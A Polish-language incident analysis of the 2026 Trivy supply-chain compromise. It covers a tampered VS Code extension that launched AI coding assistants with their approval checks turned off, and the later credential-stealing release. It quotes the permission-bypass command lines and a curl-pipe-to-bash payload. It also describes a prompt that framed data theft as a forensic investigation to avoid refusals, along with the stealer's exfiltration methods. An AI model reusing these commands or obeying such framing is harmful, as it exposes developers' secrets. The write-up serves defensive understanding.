Naruszenie łańcucha dostaw Trivy dostarczyło prompt, a nie stealer

Między 27 lutego a 2 marca 2026 r. autonomiczne konto GitHub nazywające się hackerbot-claw przejęło repozytorium projektu Trivy, open-source’owego skanera podatności, który potoki CI często uruchamiają przed opublikowaniem obrazu kontenera. W tym samym okresie w rejestrze OpenVSX pojawiły się dwie kompilacje rozszerzenia Trivy do VS Code w oficjalnej przestrzeni nazw tego rozszerzenia i nie zawierały one typowego infostealera. Zawierały około 2000 słów angielskich instrukcji, które nakazywały dowolnemu asystentowi AI do kodowania, jakiego programista miał już zainstalowanego — Claude Code, Codex, Gemini CLI, GitHub Copilot CLI lub Kiro CLI — zbadać maszynę w roli eksperta kryminalistyki cyfrowej i przekazać to, co ustali, każdym kanałem, do którego zdoła dotrzeć. Nie wykazano żadnej udanej eksfiltracji. Archiwum opisuje ten epizod jako incydent w łańcuchu dostaw o wysokiej ważności, z odnotowanymi rzeczywistymi szkodami, oceną pewności A i bez flagi sporu, i zapisuje go w Orca AI Incident Archive z datą z dokładnością do dnia: 2 marca 2026 r.

Co tak naprawdę zawierały wersje 1.8.12 i 1.8.13

Socket, który skanuje rejestry pakietów i rozszerzeń, opublikował analizę 2 marca 2026 r., po tym jak samodzielnie znalazł te artefakty. Wersje 1.8.12 i 1.8.13 tego rozszerzenia — opublikowane w OpenVSX w przestrzeni nazw aquasecurityofficial.trivy-vulnerability-scanner odpowiednio o 12:04 UTC 27 lutego i o 16:28 UTC 28 lutego — zawierały kod, którego nie ma w publicznym repozytorium aquasecurity/trivy-vscode-extension ani w żadnym wydaniu oznaczonym tagiem, poinformował Socket. Wszystko do wersji 1.8.11 włącznie było zgodne z publicznym źródłem, a lokalna kompilacja wersji 1.8.11 była zgodna bajt w bajt z artefaktem OpenVSX.

Ładunek znajdował się w funkcji aktywacji obszaru roboczego rozszerzenia, pl(), która uruchamia się za każdym razem, gdy programista otwiera projekt w edytorze z zainstalowanym rozszerzeniem. Znajdował się przed normalnym kodem konfiguracji Trivy, więc rozszerzenie nadal działało zgodnie z oczekiwaniami, podczas gdy reszta działała za nim. Uruchamiał pięć wierszy poleceń, po jednym dla każdego asystenta kodowania AI, a każdy z nich został wybrany tak, aby wyeliminować człowieka z pętli:

• Claude Code — claude -p --dangerously-skip-permissions --add-dir /, co dodatkowo daje agentowi dostęp do odczytu całego systemu plików

• Codex — codex exec --ask-for-approval never --sandbox danger-full-access

• Gemini CLI — gemini prompt --yolo --no-stream

• GitHub Copilot CLI — copilot --autopilot --yolo -p

• Kiro CLI — kiro-cli chat -a --no-interactive

Wszystkie pięć są uruchamiane jako odłączone procesy, a standardowe wyjście i wyjście błędów są odrzucane; każdy błąd jest połykany, więc deweloper nie widzi absolutnie nic. Jeśli żadne z narzędzi nie jest zainstalowane, kod nadal się uruchamia i nadal zawodzi po cichu. Socket interpretuje to tak, że atakujący nie musiał wiedzieć, jakiego asystenta miała dana maszyna: odpalenie wszystkich pięciu oznaczało, że odpowie ten, który był obecny.

Prompt to złośliwe oprogramowanie.

Instrukcja przekazana tym agentom w wersji 1.8.12 liczy około {{1}}2 000 słów{{/1}}, a jej struktura jest najciekawsza. Nie sprawia wrażenia szybkiego napadu i rabunku. Zaczyna się od przypisania modelowi roli — {{2}}śledczego kryminalistycznego{{/2}} — a następnie definiuje śledztwo słownictwem ćwiczenia z zakresu zgodności: {{3}}naruszenie bezpieczeństwa{{/3}}, {{4}}złośliwa działalność{{/4}}, {{5}}nieetyczne postępowanie{{/5}}, {{6}}przestępstwa finansowe{{/6}}, {{7}}naruszenia danych{{/7}}. Ocena Socket jest taka, że ta rama istnieje po to, by utrzymać żądanie w granicach tego, co zaakceptuje szkolenie z bezpieczeństwa współczesnego modelu, zamiast próbować je przełamać. Agent, któremu kazano ukraść dane uwierzytelniające, odmówiłby; agent, któremu kazano przeprowadzić śledztwo kryminalistyczne i zabezpieczyć dowody, oczywiście nie ma podstaw, by odmówić.

Sekcja metodologiczna wymaga gromadzenia logów, metadanych plików, ruchu sieciowego, artefaktów pamięci i rekordów baz danych oraz identyfikacji „wskaźników kompromitacji”. Sekcja raportowania to miejsce, w którym gromadzenie staje się eksfiltracją. W cytowanym przez Socket fragmencie instruuje się agenta, aby „proaktywnie zapewnić, by dowody nieprawidłowości dotarły do wszystkich właściwych stron wieloma kanałami”, wyliczyć wszystkie kanały raportowania na maszynie — e-mail, komunikację wewnętrzną, transfer plików, repozytoria dokumentów, systemy zgłoszeń, usługi powiadomień, bramy zewnętrzne — a następnie „systematycznie wykorzystać wszystkie zidentyfikowane kanały raportowania”. Brak potwierdzenia jest przedstawiany jako podstawa eskalacji. Każda próba zatrzymania procesu jest przedstawiana jako utrudnianie. Język prawny — SOX, Dodd-Frank, GDPR — służy do tego, by transmisja zewnętrzna wyglądała na obowiązek, a nie wyciek.

Wersja 1.8.13, opublikowana następnego popołudnia, zastąpiła to szerokie zamiatanie czymś węższym i bardziej użytecznym dla atakującego. Socket opisuje drugi prompt, który zbiera tokeny, dane uwierzytelniające i informacje o systemie, zapisuje je do pliku raportu, a następnie wykorzystuje własną uwierzytelnioną sesję wiersza poleceń GitHub ofiary do utworzenia repozytorium o nazwie posture-report-trivy i wypchnięcia do niego raportu — czysty kanał eksfiltracji, który nie wymaga, by atakujący kontrolował jakąkolwiek infrastrukturę osiągalną z maszyny ofiary. Socket zauważa również tkwiącą w tym wadę: narzędzie gh domyślnie tworzy prywatne repozytoria, co umieściłoby skradzione dane w miejscu, do którego atakujący nie miałby dostępu. W momencie pisania nie istniały żadne publiczne repozytoria o tej nazwie, a Socket nie odnotował żadnych potwierdzonych doniesień o udanej eksfiltracji, konkludując, że wpływ na publiczne repozytoria był „prawdopodobnie nieistniejący”.

Skąd pochodził dostęp

Przejęcie repozytorium zostało udokumentowane osobno przez StepSecurity, które śledziło to konto przez dziesięciodniowy okres od 21 lutego do 2 marca 2026 r. W tym okresie hackerbot-claw obrał za cel co najmniej siedem publicznych repozytoriów — w tym ai-discovery-agent firmy Microsoft, datadog-iac-scanner firmy DataDog, projekt CNCF akri, listę awesome-go z 140 000 gwiazdek i RustPython — otworzył ponad dwanaście pull requestów i uzyskał wykonanie dowolnego kodu w co najmniej sześciu z nich, stosując inną technikę wobec każdego celu. Własny opis metod kampanii autorstwa StepSecurity obejmuje wstrzykiwanie nazw gałęzi, wstrzykiwanie nazw plików oraz funkcję Go init()która uruchamia się przed rzeczywistym punktem wejścia programu.

Trivy był siódmym celem i jedynym, w którym padło samo repozytorium. 28 lutego o 03:28 UTC konto uruchomiło workflow „API Diff Check” Trivy przez pull request #10254. Ten workflow działał na pull_request_target, co daje workflow sekrety i uprawnienia repozytorium docelowego, jednocześnie pobierając kod autora pull requesta — wzorzec, który StepSecurity nazywa „pwn request”. Log kompilacji pokazuje ładunek curl -sSfL hackmoltrepeat.com/molt | bash wykonujący się w kroku „Set up Go”. Dziewiętnaście minut później, o 03:47 UTC, skradziony z tego uruchomienia osobisty token dostępu został użyty do wypchnięcia commita d267cc4 bezpośrednio do repozytorium, całkowicie pomijając proces pull requesta.

Co nastąpiło później, według ujawnienia incydentu przez Aqua Security i rekonstrukcji dokonanej przez StepSecurity: repozytorium ustawiono jako prywatne i zmieniono jego nazwę, usunięto wszystkie wydania GitHub od 0.27.0 do 0.69.1 wraz z ich zasobami i dyskusjami, plik README nadpisano prowokacyjną wiadomością, a podejrzany artefakt opublikowano w rozszerzeniu VS Code w OpenVSX. Aqua usunęła wykorzystany workflow w pull requeście #10259, unieważniła token używany do publikowania rozszerzenia, przywróciła repozytorium i ponownie wydała wersję v0.69.2.

Dwa szczegóły dotyczące tego aktora warto oddzielić od reszty. Pierwszy to jego samoopis: konto GitHub nazwało się „autonomicznym agentem do badań bezpieczeństwa napędzanym przez claude-opus-4-5” i zachęcało do przekazywania darowizn w kryptowalutach. To twierdzenie samego konta, a nie ustalenie kogokolwiek, kto je badał, i żaden z przeglądanych tu opisów nie weryfikuje, który model – jeśli w ogóle jakiś – wykonywał tę pracę. Drugi to fakt, że to samo konto już bezpośrednio atakowało systemy AI. 28 lutego o 05:26 UTC otworzyło pull request #732 przeciwko ambient-code/platform zawierający atak prompt injection na AI, który według zapisów StepSecurity został wykryty przez Claude’a. Manipulowanie recenzentem AI i manipulowanie asystentem kodowania AI to ta sama technika skierowana przeciwko dwóm różnym celom, a pod koniec tego tygodnia konto użyło obu.

Trzy tygodnie później, zwykły stealer

Lutowa intruzja to tylko pierwsza połowa zapisu, a druga połowa jest powodem, dla którego słowo „sustained” należy do jego tytułu. Aqua ujawniła wcześniejszy incydent 1 marca 2026 r. i rozpoczęła rotację danych uwierzytelniających. Według biuletynu, który firma później opublikowała jako GHSA-69fq-xp46-6x23, ta rotacja „nie była atomowa” — nie wszystkie dane uwierzytelniające zostały unieważnione w tym samym czasie — a atakujący mógł użyć wciąż ważnego tokenu, aby w tym oknie wydobyć nowo zrotowane sekrety; okno to trwało kilka dni.

19 marca około 17:43 UTC ten sam dostęp został ponownie wykorzystany w sposób niewymagający żadnego działania ze strony ofiar. Atakujący wymusił wypchnięcie 76 z 77 tagów wersji w aquasecurity/trivy-action i wszystkich siedmiu tagów w aquasecurity/setup-trivy do złośliwych commitów. Ponieważ potoki CI zwykle odwołują się do workflow po tagu, a nie po hashu commita, tysiące potoków, które nie zmieniły ani jednej linii konfiguracji, zaczęły wykonywać kod atakującego. Złośliwe wydanie v0.69.4 zostało opublikowane przez przejęte konto usługi aqua-bot i rozpowszechnione przez GHCR, ECR Public, Docker Hub, pakiety deb i rpm oraz get.trivy.dev.

Ten payload był konwencjonalny. Wstrzyknięty entrypoint.sh ma 204 linie, z których pierwsza setka to infostealer, a reszta to legalny skan Trivy, więc workflow nadal generuje normalne dane wyjściowe. Na runnerach hostowanych przez GitHub zrzuca z Runner.Worker pamięć procesu przez /proc/<pid>/mem i za pomocą grep wyszukuje wewnętrzną strukturę JSON, której GitHub Actions używa do przechowywania sekretów. Na runnerach self-hosted przechodzi przez ponad pięćdziesiąt ścieżek systemu plików w poszukiwaniu kluczy SSH, poświadczeń chmurowych, tokenów Kubernetes, konfiguracji Docker, haseł do baz danych, konfiguracji VPN i portfeli kryptowalut. Łup jest szyfrowany algorytmem AES-256-CBC przy użyciu klucza sesji opakowanego w osadzony klucz publiczny RSA-4096, a następnie wysyłany do domeny typosquattingowej, scan.aquasecurtiy.org. Jeśli to się nie powiedzie, a pipeline ujawnia osobisty token dostępu, payload tworzy publiczne repozytorium o nazwie tpcp-docs na koncie samej ofiary i przesyła tam pakiet jako zasób wydania.

Aqua opanowała wydanie z 19 marca w ciągu około trzech godzin i następnego dnia opublikowała bezpieczne wersje. 22 marca atakujący powrócił z dwoma kolejnymi obrazami Docker Hub, 0.69.5 i 0.69.6, wypchniętymi bezpośrednio do rejestru przy użyciu odrębnie skompromitowanych danych logowania do Docker Hub, a nie przez GitHub, oraz z nieautoryzowanym upublicznieniem wewnętrznych repozytoriów Aqua jako publicznych. Złośliwe oprogramowanie samoidentyfikuje się w komentarzu w kodzie jako „TeamPCP Cloud stealer”, a biuletyn Aqua wskazuje TeamPCP — śledzone gdzie indziej pod nazwami DeadCatx3, PCPcat i ShellForce — zauważając jednocześnie, że samooznaczenie może być fałszywą flagą.

Wpis dotyczący podatności pojawił się 23 marca: CVE-2026-33634, przypisany przez GitHub jako CNA, oceniony na 9,4 – krytyczny w CVSS 4.0, obejmujący Trivy 0.69.4, trivy-action w wersjach przed 0.35.0, setup-trivy w wersjach przed 0.2.6, LiteLLM od 1.82.7 do 1.82.8 oraz Telnyx od 4.87.1 do 4.87.2. CISA dodała go do katalogu Known Exploited Vulnerabilities 26 marca z terminem usunięcia do 9 kwietnia 2026. Wiz Research niezależnie zidentyfikował równoległe naruszenie kics-github-action firmy Checkmarx, które biuletyn Aqua wiąże z tą samą aktywnością.

Co rekord wymienia poniżej

Artykuł Trend Micro z 9 kwietnia 2026 r. jest najbardziej szczegółową publiczną rekonstrukcją tego łańcucha i podaje czasy z dokładnością do minuty. Checkmarx KICS: złośliwa wersja w OpenVSX 23 marca o 12:53 UTC, usunięta do 15:41, przy czym wszystkie 35 tagów checkmarx/kics-github-action przepisano od 12:58 do około 16:50. LiteLLM: 1.82.7 w PyPI 24 marca o 10:39 UTC, a o 10:52 pojawiła się 1.82.8, która dodała plik.pth, dzięki czemu kod uruchamiał się przy starcie Pythona niezależnie od tego, czy proxy zostało uruchomione; usunięta około 16:00. Telnyx: wersje 4.87.1 i 4.87.2 w PyPI 27 marca o 03:51 UTC, zniknęły szesnaście minut później, łącząc się z samym adresem IP, a nie z domeną.

Trend Micro łączy wszystkie trzy z wspólną infrastrukturą oraz z tym samym kluczem RSA-4096 użytym w ładunku Trivy. Agencja Cyberbezpieczeństwa Singapuru w biuletynie AD-2026-001 wymienia ten sam zestaw — Trivy, LiteLLM, rozszerzenia i Actions OpenVSX firmy Checkmarx, pięć przestrzeni nazw npm oraz Telnyx — jako elementy „trwającej kampanii łańcucha dostaw TeamPCP”.

Axios to ten, który rejestr wymienia, a którego te dwa źródła nie umieszczają w tym samym zestawie. Trend Micro faktycznie go omawia, w tym samym artykule, ale pod nagłówkiem, który wprost nazywa go inną osią ataku: axios 1.14.1 i 0.30.4 w npm między 00:21 a 03:25 UTC 31 marca, skompromitowany przez pojedynczą dodaną linię zależności wciągającą plain-crypto-js 4.2.1, którego skrypt postinstall uruchomił setup.js na maszynie dewelopera. Lista komponentów w poradniku CSA nie obejmuje Axios. Podsumowanie archiwum grupuje go z resztą; publiczny rejestr potwierdza podobieństwo techniczne, ale nie opublikowaną atrybucję do tego samego operatora.

Co jest ustalone, a co nie

Ustalono i potwierdzono w wielu źródłach: obie kompilacje OpenVSX istniały, ich zawartość została opublikowana, a usunięto je 28 lutego po tym, jak Socket skontaktował się zarówno z Aqua, jak i z osobą posiadającą konto wydawcy. Pięć wierszy poleceń zacytowano dosłownie w analizie Socket. Przejęcie repozytorium Trivy, usunięte wydania, zatrucie tagów 19 marca oraz obrazy Docker Hub 22 marca pojawiają się każdy w doradztwie dostawcy, niezależnym opracowaniu badawczym i co najmniej jednym doradztwie rządowym. CVE-2026-33634 i jego wpis na liście KEV są faktami odnotowanymi.

Nie ustalono, że jakikolwiek deweloper faktycznie padł ofiarą rozszerzenia. Kod został napisany w celu eksfiltracji danych i skonstruowany tak, by przetrwać brak jakiegokolwiek pojedynczego asystenta, ale Socket nie znalazł publicznego repozytorium o oczekiwanej nazwie ani potwierdzonego raportu o opuszczeniu maszyny przez dane, i stwierdził to wprost. Liczba deweloperów, którzy zainstalowali wersje 1.8.12 lub 1.8.13, nie jest publicznie znana. Nie jest też znana liczba organizacji, których potoki uruchomiły zatruty tag między 19 a 20 marca, choć termin CISA KEV sugeruje, że agencja uważała eksploatację za realną, a nie teoretyczną.

W łańcuchu atrybucji również istnieje luka. Biuletyn Aqua opisuje atak z 19 marca jako kontynuację lutowej intruzji, umożliwioną przez pozostałe poświadczenia. StepSecurity, które szczegółowo udokumentowało lutową intruzję, wskazuje jako sprawcę hackerbot-claw i nie łączy go z TeamPCP. Aqua i Wiz przypisują marcową aktywność TeamPCP. Żadne z przejrzanych tu źródeł nie stwierdza, że te dwie nazwy oznaczają tego samego operatora, a archiwum również tego nie twierdzi. To, co potwierdza dokumentacja, to długotrwała kampania wymierzona w jeden ekosystem, obejmująca co najmniej dwie odrębne fazy — sterowaną przez AI intruzję pod koniec lutego oraz przemysłowe pozyskiwanie danych uwierzytelniających trzy tygodnie później — i wspólną ofiarę, niekoniecznie wspólną rękę.

W historii rozszerzenia występuje mniejsza rozbieżność. Socket datuje oba buildy na 27 i 28 lutego i przypisuje ich publikację tokenowi wydawcy należącemu do byłego pracownika Aqua, który unieważnił go po nawiązaniu kontaktu. StepSecurity wymienia „podejrzany artefakt wypchnięty do rozszerzenia VS Code” wśród działań podjętych za pomocą skradzionego tokenu GitHub. Opisują one różne poświadczenia. Wersja 1.8.12 również została opublikowana o 12:04 UTC 27 lutego, około piętnaście godzin przed kradzieżą tokenu, którą StepSecurity dokumentuje o 03:28 UTC 28 lutego. Żadna z firm nie opublikowała wyjaśnienia tej rozbieżności, a ten artykuł go nie wymyśla.

Co się potem zmieniło?

Konkretne poprawki zostały udokumentowane. Zalecenie Aqua wskazuje bezpieczne wersje — Trivy 0.69.2 lub 0.69.3, trivy-action 0.35.0, setup-trivy 0.2.6 — i mówi każdemu, kto mógł uruchomić dotknięty artefakt, aby traktował każdy sekret osiągalny z tego potoku jako ujawniony i dokonał jego rotacji. Ponieważ force-push atakującego spowodował, że stare tagi trivy-action zostały zapisane przez GitHub jako niezmienne wydania, nie można było odtworzyć oryginalnych nazw; projekt opublikował je ponownie z prefiksem v, więc aquasecurity/[email protected] wskazuje teraz na to, co wcześniej oznaczało @0.34.0. Trzy z tych tagów, v0.0.10, v0.34.1 i v0.34.2, nie zostały przywrócone, gdy zalecenie było ostatnio aktualizowane. Aqua zaangażowała także firmę reagowania na incydenty Sygnia do przeprowadzenia analizy śledczej i stwierdza, że jej komercyjna platforma jest architektonicznie odizolowana od systemu kompilacji open source, więc złośliwe wydanie nigdy do niej nie trafiło.

Najbardziej uniwersalna lekcja dotyczy niezmienności i jest sprzeczna z oczywistą linią obrony. Trivy 0.69.3 był bezpieczny, ponieważ funkcja niezmiennych wydań GitHuba została włączona 3 marca, zanim ta wersja została wydana; trivy-action 0.35.0 był bezpieczny, ponieważ funkcję tę włączono tam 4 marca. Jednak Aqua w swoim biuletynie zauważa, że interfejs wydań GitHuba wyświetlał oznaczenia „Immutable” również obok zatrutych tagów, ponieważ atakujący opublikował niezmienne wydania po wymuszonym wypchnięciu ich. Oznaczenie nie mówiło obrońcom niczego. Przypinanie do pełnego SHA commita to jedyna kontrola, która się sprawdziła, co zalecają zarówno Aqua, jak i Trend Micro.

Wskazówki Trend Micro idą dalej niż przypinanie i dotyczą tej części problemu, która nie ma nic wspólnego z AI. Zaleca się okres karencji przy wydawaniu, aby nowo opublikowane wersje pakietów nie były natychmiast wykorzystywane — npm-a min-release-age, pnpm-a minimumReleaseAge, uv exclude-newer, Buna minimumReleaseAge oraz pipa uploaded-prior-to — z uzasadnieniem, że większość złośliwych wersji w tej kampanii była dostępna przez godziny, a nie dni. Pliki blokad, węższe zakresy wersji, filtrowanie ruchu wychodzącego i kontrola wykonywania dla narzędzi takich jak curl znajdują się na liście.

W części zapisu dotyczącej OpenVSX odpowiedź była węższa. Dwa buildy usunięto w ciągu około siedmiu godzin od pierwszego kontaktu Socket, unieważniono token wydawcy, a biuletyn GHSA-8mr6-gf9x-j8qg opublikowano 27 lutego dla wersji 1.8.12 z wagą krytyczną, bez wersji z poprawką, a 5 marca GitHub przypisał CVE-2026-28353. Socket podaje jeszcze jeden szczegół dotyczący tego biuletynu: Aqua poinformowała później firmę, że został on utworzony przez tego samego bota, który brał udział w incydencie. Zgłoszenie przez atakującego biuletynu bezpieczeństwa dla własnego artefaktu to nie tyle porażka mitygacji, ile przypomnienie, jak dużą część powierzchni reagowania może osiągnąć intruz mający dostęp do repozytorium.

To, co się nie zmieniło, jest częścią, która miała największe znaczenie. Pięć narzędzi wiersza poleceń nadal udostępnia flagi, których celem jest działanie bez udziału człowieka, a każdy program na maszynie dewelopera może je wywołać z tymi flagami. Końcowa obserwacja Socket jest tą, która przetrwa konkretne numery wersji: złośliwy zamiar wyrażono tu językiem naturalnym, a nie za pomocą zakodowanych na stałe punktów końcowych, co jest dokładnie tym, w wykrywaniu czego skanowanie oparte na sygnaturach wypada najgorzej. Rozszerzenia nie wykryto dlatego, że robiło coś, co rozpoznał skaner. Wykryto je dlatego, że badacz przeczytał prompt.